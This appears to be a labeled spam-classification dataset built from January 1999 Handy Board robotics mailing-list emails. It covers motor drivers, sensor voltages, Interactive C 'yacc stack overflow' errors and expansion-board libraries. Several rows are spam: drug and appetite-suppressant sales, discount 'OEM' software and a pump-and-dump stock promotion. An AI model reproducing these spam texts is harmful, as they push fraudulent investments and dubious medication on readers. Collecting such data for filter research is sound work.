barbecue?) or add things (e.g., represent the NAGPS insurance plan?) if we can make those arrangements with GRS. ====== We decided that it is not necessary to survey graduate students as we did last Spring, but we may do so in future years. 4. New Committees The only new committee we are adding at this time is an Orientation Committee to plan next Fall's grad student orientation. 5. Other An attendee suggested that moving the general meeting to another location (over than Metcalf) might improve attendance. No decision to change the location was made at that time, but feedback is welcome.",0,0 REMexport ,oscar@aleve.media.mit.edu,"Sat, 23 Jan 1999 09:16:44 -0700",Find Trade Fairs,"------------------------------------------------------ Find Trade fairs and Events http://www.remexport.com/trade_fair_search.html ----------------------------------------------------- remove me: mailto:pidok@mynet.com ----------------------------------------------------- ",1,1 """K.L.McKinnon"" <""klmckin@nospam""@magmacom.com>","""SHETTI.NITIN.MANGESH"" ","Fri, 22 Jan 1999 18:11:06 -0500",Re: CONTINUOUS BEEPING,"I would suspect that the system locks up without the LCD. There is a PCODE out there for use without the LCD panel, and I believe that it is at the handyboard web site. K.L. McKinnon SHETTI.NITIN.MANGESH wrote: > > Dear Fred Martin/friends, > We have put a total of 6 chips on the handy board-the 6811 ,two > chips placed side by side to the left of the 6811, the fat chip on the > upper side of the 6811, two ICs(chips) one on each side of the fat > chip.(component side) Please mind my language, I have not done the > soldering and hence I don't know the chip nos. > The pcode_hb.s19 file downloads fine but when we reset the board > the speaker beeps continously and IC does not boot up. > Please tell me what could be the problem and its solution? > Thanking you, Yours Sincerely, > Nitin ",0,0 Andre Philippi ,Will Bain ,"Fri, 22 Jan 1999 15:52:52 -0800",Re: Toy motors ,"I was reading the FAQ (again), and unless I overlooked something, it seems that even with the H-bridge or piggybacking solutions, I would not be able to drive a high-end R/C car engine (20+ amps)... So here are my questions: 1 - Could I lower the amount of current draw, by doing something like motor(1, 20); ? How much lower could I go by doing this ? 2 - Is there any hack that I could do on the motor (like yanking or adding some of the internal wiring), that would make it draw much less current ? I apologize if this is too stupid of an idea, but as you may have noticed from this (and previous) postings, I'm very new to eletronics... :( 3 - What else could I do ? Any other ideas ? I guess replacing the engine altogheter is not an option, because the engine has some specific (I don't know how standard that is...) mounting points... 4 - Has anyone used the HB to drive a high end R?C car ? What was your solution to the above problem, please ? Best regards, Andre Philippi. Will Bain wrote: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii >Steve Wall wrote: > >> 1. Can you construct circuitry to limit current and voltage draw to >> operate these. > >Sure, just hack your HB to use an external battery for the motors. The >external battery can be whatever voltage the motors prefer (within >reason). If the motors still draw too much current, try piggybacking >another set of motor driver chips on top of the ones you already have. >See the FAQ for details. > >> I purchased a motorized bulldozer for my base and It is quite large >> and would make an excellent base and I want to use this for my base >> could you please help I wouldn't want to think i wasted my money. > >With the cheaper motors and the modifications suggested above, the >bulldozer ought to run just fine. The main difference remaining is that >the cheap motors are usually not as efficient as more expensive motors >would be, so you may have to recharge the motor battery more often. No >big deal! Good luck. > >-- Will > , , > __@_/ \\_@__ |/ > | /__, o @_/ > )\\ ) ( \\ (\\/\\\\, >~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >Wendy Parson, Maybe this world >Will Bain, is another planet's hell. >& Tatoosh --Aldous Huxley > ================================================================= Andre Philippi - Applications Developer | Phone: 626-296-5016 philippi@corp.earthlink.net | Fax: 626-296-5113 Earthlink Network, Inc. | 3100 New York Drive http://www.earthlink.net | Pasadena, CA 91107 ================================================================= ",0,1 JANBOSEP@aol.com,philippi@earthlink.net,"Fri, 22 Jan 1999 20:30:39 -0500",Re: Toy motors,"I tried to use the special RC motor drivers for RC race cars with good luck, they simply connect to a servo output of the handy board and they work great and you can get them in a thousand different configurations like fwd/rev and brakes. They work with PWM so they won't really get very hot and they can easily handle the high current for these motors. Good luck, Jan. ",0,0 phillip chia ,handybd ,"Fri, 22 Jan 1999 13:30:04 +0800",senor signal line back to HD,"Hi, Currently, I'm using a infra-sensor with supply by 12v external source battery.The signal line wire is plug directly into the HD digital or analog port. The positive and negative supply of this infra-sensor is connected to the external supply 12V. There is no linking back of the ground to the HD. Question : Do I need to step down the voltage from 12v to 5V on the signal line before plug directly into the HD analog or digital port ? rgds, phillip chia ",0,0 Althea Acosta ,jesse@aleve.media.mit.edu,"Sat, 23 Jan 1999 04:57:33 -0100",All products for your health!,"http://vdtobj.docscan.info/?23759301 Suffering from pain, depression or heartburn? We'll help you! All verified dr@gs collected at one LICENSED online store! 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"" ""Our phones were ringing off the hook with people asking questions about how they could get the Clixme service for their own websites,"" said CEO Fotis Georgiadis. ""We will be posting a pre-registration form for companies interested in deploying the service on their own website when we launch the service to businesses nationwide."" Do your research now! You have a load of press to read before Monday. 430U21EY5P Information within this report contains forward looking statements within the meaning of Section 27A of the Securities Act of 1933 and Section 21B of the SEC Act of 1934. Statements that involve discussions with respect to projections of future events are not statements of historical fact and may be forward looking statements. Don't rely on them to make a decision. The Company is not a reporting company registered under the Exchange Act of 1934. We have received one million free trading shares from a third party not an officer, director or affiliate shareholder. We intend to sell all our shares now, which could cause the stock to go down, resulting in losses for you. . It is an operating company and producing revenues. Read the Company's Annual Report and Information Statement before you invest. This report shall not be construed as any kind of investment advice or solicitation. You can lose all your money by investing in this stock. MOPPU925UUWKIN918W ",1,0 """Fred G. Martin"" ",JANBOSEP@aol.com,"Sat, 23 Jan 1999 09:09:14 -0500",Re: Toy motors,"right, this is a good answer. you buy a device called an ""electronic speed controller"". this connects like a servo to the HB (3 wire connection) and has outputs to drive high current DC motors. you also connect a separate power supply to the device. so the configuration is: Handy Board +----------------+ +----------------+ | | | servo out+------ | | | gnd+------ | | +----------------+ In your message you said: > I tried to use the special RC motor drivers for RC race cars with good luck, > they simply connect to a servo output of the handy board and they work great > and you can get them in a thousand different configurations like fwd/rev and > brakes. They work with PWM so they won't really get very hot and they can > easily handle the high current for these motors. > > Good luck, > > Jan. > ",0,0 """Fred G. Martin"" ",JANBOSEP@aol.com,"Sat, 23 Jan 1999 09:20:17 -0500",Re: Toy motors,"sorry, send my msg before it was done. right, this is a good answer. you buy a device called an ""electronic speed controller"". this connects like a servo to the HB and has outputs to drive high current DC motors. you also connect a separate power supply to the device. so the configuration is: +6v (four C cells) Handy Board | +----------------+ +--------|-------+ | | | +Vin | | servo out+------+servo in out|-------+ | | | | DC motor | motor gnd+--+---+gnd out|-------+ | | | | ESC | +----------------+ | +----------------+ | +----- 0v (gnd of C cell pack) please see the HB servo pages for info on servo drivers, http://el.www.media.mit.edu/projects/handy-board/software/libs.html the motor gnd line is the right half of the 4x1 header immediately above to the the right of the Stop button. you can buy the ESC's in all sorts of current capacities. try tower hobbies as a supplier. . fred In your message you said: > I tried to use the special RC motor drivers for RC race cars with good luck, > they simply connect to a servo output of the handy board and they work great > and you can get them in a thousand different configurations like fwd/rev and > brakes. They work with PWM so they won't really get very hot and they can > easily handle the high current for these motors. > > Good luck, > > Jan. >",0,1 Will Bain ,Handyboard Mailing List ,"Sat, 23 Jan 1999 11:18:59 -0700",Re: Ultrasonic sensor,"MALTE51 wrote: > I have bought a Ultrasonic Sensor (with Board) 2 month ago. > Now, to christmas, I got this COOL Handy Board, but I want to use this > Board with HB on one of these Analog Ports, > but HOW??? Firstly, it looks like the sensor board can be powered from the HB using the motor power header (J13). This is good, because the two should share a common ground. Based on the schematic and the web page description, it looks like this type of ultrasonic sensor will give a digital signal instead of an analog signal. The LED lights up when an object gets close enough. Apparently, the transistor T1 provides continuity to ground for the LED/R1 combination. Try replacing the LED with a male header plug and plugging it into a digital port on the HB. BE CAREFUL THOUGH: The ultrasonic sensor runs on 9 to 12 V, so you will need to ensure that resistor R1 is at least a few kOhms to ensure that you don't fry your digital sensor port, which is designed for 5V MAXIMUM. > Then i have heared, that you can use HB with an external Batt. > How can i build it? I have not seen Information about it... I don't know about this. If you use an external battery, make sure it's compatible with the HB's charging circuitry. Probably any 9.6V NiCd battery pack would suffice. > I try to build a robot like in this ""FIRE FIGHTING ROBOT"" thing.(I built > my own Labirint, because America is far away from GERMANY!!) > But how can my robot know if it is a candle... > I try it with something like that... (NOT REAL IC NOT BASIC NOT PASCAL > NOTHING!!) > > BRIGHT = ANALOG(0) > > IF BRIGHT < ANALOG(0) MAKE SOMETHING > IF BRIGHT > ANALOG(0) PUT OUT CANDLE!! If you use a light sensor connected to analog port 0, you first need to calibrate it. Put a candle in front of it and make a note of the sensor reading. Suppose it's about 200. The following sort of Interactive C code would probably work: int threshold = 190; while( 1 ) { /* (this begins indefinite loop) */ if( analog( 0 ) > threshold ) break; /* (break out of loop) */ /* search for candle for a moment */ } /* snuff out the candle */ Good luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Americans detest all lies except Will Bain, lies spoken in public or printed lies. & Tatoosh --Ed Howe",0,0 Will Bain ,Handyboard Mailing List ,"Sat, 23 Jan 1999 11:22:37 -0700",Re: senor signal line back to HD,"phillip chia wrote: > > Hi, > Currently, I'm using a infra-sensor with supply by 12v external source > battery.The signal line wire is plug directly into the HD digital or analog > port. The positive and negative supply of this infra-sensor is connected to > the external supply 12V. There is no linking back of the ground to the HD. The sensor should be grounded to the HB. > Question : Do I need to step down the voltage from 12v to 5V on the signal > line before plug directly into the HD analog or digital port ? Oh yes. Quite a few messages this past week suggest how to avoid frying your sensor ports with excessive voltage. -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, Americans detest all lies except Will Bain, lies spoken in public or printed lies. & Tatoosh --Ed Howe ",0,0 William Sitch ,handyboard@media.mit.edu,"Sat, 23 Jan 1999 14:31:12 -0500",Stack Overflow," Hi everyone: I'm trying to download a rather large chunk of code to the HandyBoard, and I'm having a problem when I exceed a certain number of instructions in a procedure I'm running. When I try to download the code, I get the error ""yacc stack overflow"" pointing to a line in a procedure that I spawn to be multitasked. I tried to increase the stack size of the process I spawn, but the error still exists. I think I might be getting a compile-time stack overflow - or something like that. The procedure it crashes for is a leg controller, and consists of many ""if .. else if"" statements. It would be bad design to move some of the code to another procedure, and I would like to avoid doing that. Does anyone know exactly why I'm having this problem, or what I could do to remedy the situation? Thanks in advance. -- William Sitch 4th Year Electrical Engineering http://www.engsoc.carleton.ca/~wsitch ",0,1 Jeremy Foo ,handyboard@media.mit.edu,"Sun, 24 Jan 1999 03:59:19 +0800",batteries port,"dear readers, i am current using power supply of around 15 to 20 volts to supply to my HB. i remove the 9.6 batteries supply cause it does not have the strength to drive my 30 v dc motor. will it affect the board? jass ",0,0 Regan Russell ,"William Sitch , handyboard@media.mit.edu","Sun, 24 Jan 1999 10:00:16 +1100",Re: Stack Overflow,"Hi there, In my humble opinion, I suspect that the problem is with Interactive C.. Try a newer or older version. What version are you using, by the way ? To quote Levine et al, ""lex & yacc"", 2nd Ed, O'Rielly & Assoc page 259: ""yacc stack overflow ....The yacc generated grammar has exhausted its stack space ... Solution: Shorten or reorder the expressions in the lex specification; rebuild lex with a larger yacc stack area."" Hope this helps. Regards, Regan Russell BSc (Comp Sci) www.users.bigpond.net.au/rrussell -----Original Message----- From: William Sitch To: handyboard@media.mit.edu Date: Sunday, January 24, 1999 6:35 AM Subject: Stack Overflow > >Hi everyone: > > I'm trying to download a rather large chunk of code to the HandyBoard, >and I'm having a problem when I exceed a certain number of instructions in a >procedure I'm running. When I try to download the code, I get the error >""yacc stack overflow"" pointing to a line in a procedure that I spawn to be >multitasked. > >I tried to increase the stack size of the process I spawn, but the error >still exists. I think I might be getting a compile-time stack overflow - or >something like that. The procedure it crashes for is a leg controller, and >consists of many ""if .. else if"" statements. > >It would be bad design to move some of the code to another procedure, and I >would like to avoid doing that. Does anyone know exactly why I'm having >this problem, or what I could do to remedy the situation? > >Thanks in advance. > >-- >William Sitch >4th Year Electrical Engineering http://www.engsoc.carleton.ca/~wsitch > >",0,1 Christopher Prosser ,handyboard@media.mit.edu,"Sat, 23 Jan 1999 15:20:29 -0800",Memory Map with Expansion board," Hi Folks, I was just reading the FAQ and encountered the part about the memory map. Does anyone know how the expansion board maps as it is not included in the memory map in the FAQ? Thanks, Chris Prosser _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com ",0,1 Max Davies ,"William Sitch , Virtual Friends ","Sat, 23 Jan 1999 22:41:26 -0500",Re: Stack Overflow,"William Sitch wrote: > Hi everyone: > > I'm trying to download a rather large chunk of code to the HandyBoard, > and I'm having a problem when I exceed a certain number of instructions in a > procedure I'm running. When I try to download the code, I get the error > ""yacc stack overflow"" pointing to a line in a procedure that I spawn to be > multitasked. > > I tried to increase the stack size of the process I spawn, but the error > still exists. I think I might be getting a compile-time stack overflow - or > something like that. The procedure it crashes for is a leg controller, and > consists of many ""if .. else if"" statements. > > It would be bad design to move some of the code to another procedure, and I > would like to avoid doing that. Does anyone know exactly why I'm having > this problem, or what I could do to remedy the situation? > > Thanks in advance. > > -- > William Sitch > 4th Year Electrical Engineering http://www.engsoc.carleton.ca/~wsitch I'm pretty good at software and may be able to help you. But I need to see your code: please send it to me privately and I'll see what I can do. PS: What kind of hardware/software platform are you on? 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Martin"" ",handyboard@media.mit.edu,"Sun, 24 Jan 1999 08:53:49 -0500",Re: Stack Overflow,"IC is implemented using lex and yacc (tools originally on unix systems for building parsers and compilers, which generate C code that be compiled into apps on many platforms). as someone pointed out, if yacc barfs, it's because you've got an expression that is too heavily nested and thus requires too much stack to parse. so yes, it's a compile-time stack issue, having nothing to do with IC process stack space. i don't know if the commercial IC will do any better. it depends if more stack is allocated to yacc. randy could answer this. i think you already know your answer---break up your program into smaller chunks. fred William Sitch wrote: > Hi everyone: > > I'm trying to download a rather large chunk of code to the HandyBoard, > and I'm having a problem when I exceed a certain number of instructions in a > procedure I'm running. When I try to download the code, I get the error > ""yacc stack overflow"" pointing to a line in a procedure that I spawn to be > multitasked. > > I tried to increase the stack size of the process I spawn, but the error > still exists. I think I might be getting a compile-time stack overflow - or > something like that. The procedure it crashes for is a leg controller, and > consists of many ""if .. else if"" statements. > > It would be bad design to move some of the code to another procedure, and I > would like to avoid doing that. Does anyone know exactly why I'm having > this problem, or what I could do to remedy the situation? > > Thanks in advance. > > -- > William Sitch > 4th Year Electrical Engineering http://www.engsoc.carleton.ca/~wsitch I'm pretty good at software and may be able to help you. But I need to see you r code: please send it to me privately and I'll see what I can do. PS: What kind of hardware/software platform are you on? ""Yacc"" is typically a Unix program that I thought had nothing to do with IC. (And yes, the real Unix ""yacc"" can stack overflow with excessively nested if/then/else quite easily... I just fixed a problem like that for my employer). /Max ",0,1 FThompson9@aol.com,"nelson3@jcn1.com, handyboard@media.mit.edu","Sun, 24 Jan 1999 09:18:26 -0500",Re: Wirz LMD18200," I just checked it. It is www.wirz.com Happy shoping Pherd ",0,0 Velma ,handyboard@media.mit.edu,"Sun, 17 Dec 1995 13:50:16 +0300",please your woman Jon,"There are 100's of websites to buy medication for Erectile Difficulties, but not for 1.56 cents a pill. We have some of the lowest pricing on the internet. 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If your code looks something like this... if (i == 1) do001(); else if (i == 2) do002(); else if (i == 3) do003(); else . . . if (i == 100) do100(); ...then try changing it to this: /* Not really a loop, just so we can break */ for (;;) { if (i == 1) { do001(); break; } if (i == 2) { do002(); break; } if (i == 3) { do003(); break; } . . . if (i == 100) { do100(); break; } break; /* Always break... this isn't really a loop */ } ...this won't be any less efficient and should resolve your compile-time stack overflow as it doesn't nest the IF statements. /Max ",0,0 Chuck McManis ,"Clancy Nelson , HB Mail List ","Sun, 24 Jan 1999 10:34:07 -0800",Re: Wirz LMD18200,"I'm not familiar with the Wirz board, however the board I built used the regular ""motor output"" of the handyboard with no modification required. The trick was to use an opto-isolator to ""recover"" the forward and backward logic states. That was done as follows: HB Motor out -----\\/\\/\\/\\/-------+---------------+ 680 | | | _|_ \\ / Opto1 ^ Opto2 _V_ / \\ | | | | HB Motor out --------------------+---------------+ The NECP2502 works fine. Then on the output side of the optoisolator connect the transistors as follows: +5v | | / |/ | Opto1 |\\ | V | +-----o A | / \\ / 47K \\ | | Gnd And repeat this for the other half othe opto-isolator (opto2). Now you will have two outputs A, B and the truth table for these outputs is A B 0 0 Do nothing (ie stop) 1 0 Go Forward 0 1 Go Backward 1 1 Can't happen (unless you fry the opto isolators LEDs :-) Alternatively you can hook up A & B to an OR gate and generate an ""ENABLE"" line and a ""DIRECTION"" line (use either A or B for the direction value). Another advantage of this scheme is that since the adaptor circuit is built out of an optotiolator there is no requirement that your motor subsystem run off the same power as the handyboard, thus enabling either higher voltage motors or lower voltage motors to be run from the h-bridge that is ""slaved"" to the motor outputs on the Handyboard. --Chuck At 03:30 AM 1/24/98 -0600, Clancy Nelson wrote: >Can someone instruct me on how to connect the Wirz Electronics LMD18200 >H-bridge board to the Handyboard's motor control IC socket, which pin of the >socket hooks to which pin of the H-bridge board. >Any help would be grate. >Thanks >",0,0 Ipsofac@aol.com,handyboard@media.mit.edu,"Sun, 24 Jan 1999 15:53:25 -0500",Interactive C-OS8 Downloading Problems," I have nearly teared my hair out trying to get my HB to to DL on a my OS8 6500 Mac. I though there might be someting wrong with the HB and replaced 5 chips. Today I took my HB over to a friends house who has a Performa 475 and hand had no problems. It took an INit and then the Downloading of the HB librabries contained in IC Verson 2.53. I should add that the HB would take the download of the HB IC 2.53 if the P-code had been loaded else where(i.e. not the Mac OS8 computer. To further compund things-I purchased IC student version and it won't download off of System 7 or my own OS8 My particular computer? Possible but if so wher would I look? The serial drivers come on a CD-what would reinstalling them acvcomplish? I don't even think you can like on a PC. The computer works fine with everything else. Shoot myself? Possible solution. Buy a PC? Probably the most inteligent thing I've said so far. Fred-you know MACs-anyhelp appreciated. Cappy Anderson, York, ME 03909 ",0,0 Ranjit Diol ,HandyBoard MIT ,"Sun, 24 Jan 1999 16:59:20 -0500",Analog Ports,"I have the MTJPRO11 board by Mekatronix as well as the MIT HandyBoard both use the 68HC11A1FN mcu. I am using hacked Sharp GP1U58 'tin can' detectors so that they output analog voltage from 1.5 to 2.5 ( effective proximity range is approximately 4"" to 16"" when using a 5ma current on an uncollimated IR Emitter). The units work quite well with the MTJPRO11 using any of the PE0-7 analog inputs. They yield A/D values between 88 and 130 based on the proximity of an object within 4"" - 16"". However, when I try them out on the HandyBoard's analog inputs they do not work, all I get is an A/D value of approx 210 which does not change. The only difference that I can see between the analog ports on the two units is that the HandyBoard uses a 47k pull-up resistor on the input pins of the PE port. Any suggestions as to how I can use them with the HandyBoard will be appreciated. Thanks, Ranjit -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mail.com website: http://www.compsys1.com ",0,1 """Fred G. Martin"" ",Ipsofac@aol.com,"Sun, 24 Jan 1999 18:34:59 -0500",Re: Interactive C-OS8 Downloading Problems ,"cappy, did you use my new ""6811 Downloader MCL"" version? this has been tested on a variety of Macs running system 8.5 and 8.1. please download it from http://el.www.media.mit.edu/projects/handy-board/software/6811_Downloader_MCL.sit.hqx let me know if this works to download from your 6500. have you ever used the serial port on this 6500 before? i remember a lot of 6500's shipped with internal geoport modems, is yours one of these? then try to use the printer port; make sure appletalk is turned off in the chooser. please start your debug afresh with the new 6811 Downloader MCL version, which is tested on contemporary macs running the latest OS versions. then we can tell if it's a hardware/driver problem with your Mac or not. fred In your message you said: > I have nearly teared my hair out trying to get my HB to to DL on a my O S8 > 6500 Mac. > I though there might be someting wrong with the HB and replaced 5 chips. > Today I took my HB over to a friends house who has a Performa 475 and hand ha d > no problems. > It took an INit and then the Downloading of the HB librabries contained in > IC Verson 2.53. I should add that the HB would take the download of the HB > IC 2.53 if the P-code had been loaded else where(i.e. not the Mac OS8 > computer. > > To further compund things-I purchased IC student version and it won't > download off of System 7 or my own OS8 My particular computer? Possible but > if so wher would I look? The serial drivers come on a CD-what would > reinstalling them acvcomplish? I don't even think you can like on a PC. The > computer works fine with everything else. Shoot myself? Possible solution. > Buy a PC? Probably the most inteligent thing I've said so far. > Fred-you know MACs-anyhelp appreciated. Cappy Anderson, York, ME 03909 > ",0,1 """Fred G. Martin"" ",Ranjit Diol ,"Sun, 24 Jan 1999 18:37:49 -0500",Re: Analog Ports ,"yes, it's the 47K pullup that's causing the IR's to not work. slice through the trace connecting the 47K to the sensor input pin on the underside of the printed circuit board. fred In your message you said: > I have the MTJPRO11 board by Mekatronix as well as the MIT HandyBoard > both use the 68HC11A1FN mcu. I am using hacked Sharp GP1U58 'tin can' > detectors so that they output analog voltage from 1.5 to 2.5 ( effective > > proximity range is approximately 4"" to 16"" when using a 5ma current on > an uncollimated IR Emitter). The units work quite well with the MTJPRO11 > > using any of the PE0-7 analog inputs. They yield A/D values between 88 > and 130 based on the proximity of an object within 4"" - 16"". > > However, when I try them out on the HandyBoard's analog inputs they do > not work, all I get is an A/D value of approx 210 which does not change. > > The only difference that I can see between the analog ports on the two > units is that the HandyBoard uses a 47k pull-up resistor on the input > pins of the PE port. > > Any suggestions as to how I can use them with the HandyBoard will be > appreciated. > > Thanks, > Ranjit > > -- > Ranjit Diol - COMPSys > Dowagiac,Michigan > e-mail: rsdiol@mail.com > website: http://www.compsys1.com > > > ",0,1 Wilton Whitehead ,handyboard@media.mit.edu,"Sun, 24 Jan 1999 16:02:10 -0600",Suppress your appetite,"FINALLY A NATURALL SUPPRESSANT THAT WORKS FOR EVERYONE What if you could fool your brain into believing that you are full? Amazing, but true! Imagine the weight that you could lose if you could JUST REDUCE your appetite. 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I came across Fred Martin's 'Pa7_9600' serial files which included Pa7_9600.asm and Pa7_9600.icb and am wondering if they can be modified for PA4. I am new to the 68HC11 and am learning as I gather more and more info from the web. Thanks to Fred Martin, my analog ir proximity problem was solved by removing the 47K pull-up resistors. -- Ranjit Diol - COMPSys Dowagiac,Michigan e-mail: rsdiol@mail.com ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>",handyboard@media.mit.edu,"Sun, 24 Jan 1999 21:56:34 -0600",Expansion Board Files,"I have not got my expansion board files to load! what am I not doing correctly? Help !! I have deleted all my ic files, reloaded 3.2 from Newton Labs in c\\ic. In ic I have : expansion-libs libs ic.help ic.ini ic.win.exe install.log I can load ic but not any of the expansion files. I get the message: parse error close to token """". I have tried putting some expansion-libs into libs but still get the <""illegal>"" and unloads. After swaping files around so much the board would not load libs so I deleted all and starting over now. Please explain the correct procedure to get this bugger up and running. The expansion board kit from Douglas Electronics was great although instructions would have helped. Thanks in advance, Terry Gathright 669@worldnet.att.net",0,0 """Fred G. Martin"" ","""Terry P. Gathright"" <669@worldnet.att.net>","Mon, 25 Jan 1999 00:03:11 -0500",Re: Expansion Board Files ,"take the files out of the expansion-libs directory, and put them in the libs directory. over-write any previous files by the same name. make sure IC is configured to load lib_hb.lis on boot. that should be it... not sure where you're getting hung up. fred. In your message you said: > I have not got my expansion board files to load! > what am I not doing correctly? Help !! > > I have deleted all my ic files, reloaded 3.2 from Newton Labs in > c\\ic. > > In ic I have : > > expansion-libs > libs > ic.help > ic.ini > ic.win.exe > install.log > > I can load ic but not any of the expansion files. > I get the message: parse error close to token """". > I have tried putting some expansion-libs into libs but still > get the <""illegal>"" and unloads. > After swaping files around so much the board would not load > libs so I deleted all and starting over now. > > Please explain the correct procedure to get this bugger up and running. > The expansion board kit from Douglas Electronics was great although > instructions would have helped. > > Thanks in advance, > Terry Gathright > 669@worldnet.att.net >",0,0 """Olson, Shan (PBMS-SOlson)"" ",handyboard@media.mit.edu,"Mon, 25 Jan 1999 03:42:08 -0800",RE: off topic but cool,"Hey, these are way cool. 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John -----Original Message----- From: Olson, Shan (PBMS-SOlson) To: handyboard@media.mit.edu Date: Monday, January 25, 1999 7:40 AM Subject: RE: off topic but cool >Hey, these are way cool. > >Excellent for a mobile application. > >-Shan O > > >> ---------- >> From: doug@knowpeace.com[SMTP:doug@knowpeace.com] >> Sent: January 20, 1999 10:42 AM >> To: handyboard@media.mit.edu >> Subject: off topic but cool >> >> I thought you might find this interesting ... a tiny one inch >> hard disk drive weighing 17 grams, capable of storing 340MB: >> >> http://www.storage.ibm.com/hardsoft/diskdrdl/library/micro/brochure/microb >> ro >> c.htm >> >> Doug >> >",0,1 """Olson, Shan (PBMS-SOlson)"" ",handyboard@media.mit.edu,"Mon, 25 Jan 1999 06:23:35 -0800",RE: mini HD,"Its a 50mm square HD about 20 grams. cap. 170 - 340 MB. Uses CompactFlash type II interface. Low power 3.3V. here a another link http://www.storage.ibm.com/hardsoft/diskdrdl/micro/ You can get the spec's for CF @ http://www.compactflash.org/cfspc1_3.pdf I'm not too adept of a programmer, but I bet the little HD can be converted to a serial interface...maybe some techies out there are up to the challenge. Perhapse the little HD can cache mapping, special prgms, video, event/fault logging. . . . I see that other vendors are on the microdrive path too. Shan O. > ---------- > From: brat@naxs.com[SMTP:brat@naxs.com] > Sent: January 25, 1999 4:57 AM > To: handyboard@media.mit.edu > Subject: Re: off topic but cool - ????? > > > So what is it?? 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I've tried the Introl C compiler demo, and the it looks really good, but it seems to make assumptions about the location of the interrupt vectors (such as reset). Has anyone written libraries for the HB for use with any other compiler? ",0,0 Truman ,handyboard@media.mit.edu,"Mon, 25 Jan 1999 06:53:27 -0500",How's tricks?? the," Get going with fresh pics illustrations http://omeaganvt.com > > > ourselves ladinien through radschiff ematin steuerung > > > lawless while proving myself genseric computationa 3020194 ",1,1 """Nutritionists I. Baffin"" ",Bait ,"Mon, 25 Jan 1999 13:13:58 -0400",Software,"Software taking a bite out of your budget? Try 0EM! P0pular software at low low price. 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Ranjit Diol wrote: > > I am trying to send serial data to a 2-Line LCD which is connected to > Scott Edwards' 9600baud backpack. I have PA4 available. I came across > Fred Martin's 'Pa7_9600' serial files which included Pa7_9600.asm and > Pa7_9600.icb and am wondering if they can be modified for PA4. > > I am new to the 68HC11 and am learning as I gather more and more info > from the web. > > Thanks to Fred Martin, my analog ir proximity problem was solved by > removing the 47K pull-up resistors. > -- > Ranjit Diol - COMPSys > Dowagiac,Michigan > e-mail: rsdiol@mail.com ",0,0 """Terry P. Gathright"" <669@worldnet.att.net>","""Terry P. Gathright"" <669@worldnet.att.net>, handyboard@media.mit.edu","Mon, 25 Jan 1999 22:08:19 -0600",Re: Expansion Board Files,"Still unable to load the expansion board files. lib_hb.lis is in the libs. How do I do ic _config in windows? do I need to? System will run fine until I try to load the expansion board files. I downloaded hbexplib.zip,unziped,put all expansion-libs inc:\\ic\\libs. Synchronizing with board Pcode version 3.10 present on board Loading C:\\IC\\libs\\lib_hb.lis. Loading lib_hb.c. Loading C:\\IC\\libs\\lib_hb.icb. Loading C:\\IC\\libs\\libexpbd.icb. Loading C:\\IC\\libs\\expsens.c. Loading C:\\IC\\libs\\expservo.icb. Loading C:\\IC\\libs\\explego.icb. C:\\IC\\libs\\expsens.c(2): parse error close to token """" Errors, unloading files Cannot find file lib_hb.lis or file lib_hb.lis C:\\IC\\libs\\expsens.c(2): parse error close to token """" Thanks to All; Terry G. ---------- > From: Terry P. Gathright <669@worldnet.att.net> > To: handyboard@media.mit.edu > Subject: Expansion Board Files > Date: Sunday, January 24, 1999 9:56 PM > > I have not got my expansion board files to load! > what am I not doing correctly? Help !! > > I have deleted all my ic files, reloaded 3.2 from Newton Labs in > c\\ic. > > In ic I have : > > expansion-libs > libs > ic.help > ic.ini > ic.win.exe > install.log > > I can load ic but not any of the expansion files. > I get the message: parse error close to token """". > I have tried putting some expansion-libs into libs but still > get the <""illegal>"" and unloads. > After swaping files around so much the board would not load > libs so I deleted all and starting over now. > > Please explain the correct procedure to get this bugger up and running. > The expansion board kit from Douglas Electronics was great although > instructions would have helped. > > Thanks in advance, > Terry Gathright > 669@worldnet.att.net",0,0 """Fred G. Martin"" ","""Terry P. Gathright"" <669@worldnet.att.net>","Tue, 26 Jan 1999 07:10:43 -0500",Re: Expansion Board Files ,"terry -- please send an attached copy of expsens.c. there's got to be a bogus character in there. did anyone else have problems? fred In your message you said: > Still unable to load the expansion board files. > lib_hb.lis is in the libs. > How do I do ic _config in windows? do I need to? > System will run fine until I try to load the expansion board files. > I downloaded hbexplib.zip,unziped,put all expansion-libs inc:\\ic\\libs. > > Synchronizing with board > Pcode version 3.10 present on board > Loading C:\\IC\\libs\\lib_hb.lis. > Loading lib_hb.c. > Loading C:\\IC\\libs\\lib_hb.icb. > Loading C:\\IC\\libs\\libexpbd.icb. > Loading C:\\IC\\libs\\expsens.c. > Loading C:\\IC\\libs\\expservo.icb. > Loading C:\\IC\\libs\\explego.icb. > C:\\IC\\libs\\expsens.c(2): parse error close to token """" > Errors, unloading files > Cannot find file lib_hb.lis or file lib_hb.lis > C:\\IC\\libs\\expsens.c(2): parse error close to token """" > > Thanks to All; > Terry G. > ---------- > > From: Terry P. Gathright <669@worldnet.att.net> > > To: handyboard@media.mit.edu > > Subject: Expansion Board Files > > Date: Sunday, January 24, 1999 9:56 PM > > > > I have not got my expansion board files to load! > > what am I not doing correctly? Help !! > > > > I have deleted all my ic files, reloaded 3.2 from Newton Labs in > > c\\ic. > > > > In ic I have : > > > > expansion-libs > > libs > > ic.help > > ic.ini > > ic.win.exe > > install.log > > > > I can load ic but not any of the expansion files. > > I get the message: parse error close to token """". > > I have tried putting some expansion-libs into libs but still > > get the <""illegal>"" and unloads. > > After swaping files around so much the board would not load > > libs so I deleted all and starting over now. > > > > Please explain the correct procedure to get this bugger up and running. > > The expansion board kit from Douglas Electronics was great although > > instructions would have helped. > > > > Thanks in advance, > > Terry Gathright > > 669@worldnet.att.net >",0,0 """SHETTI.NITIN.MANGESH"" 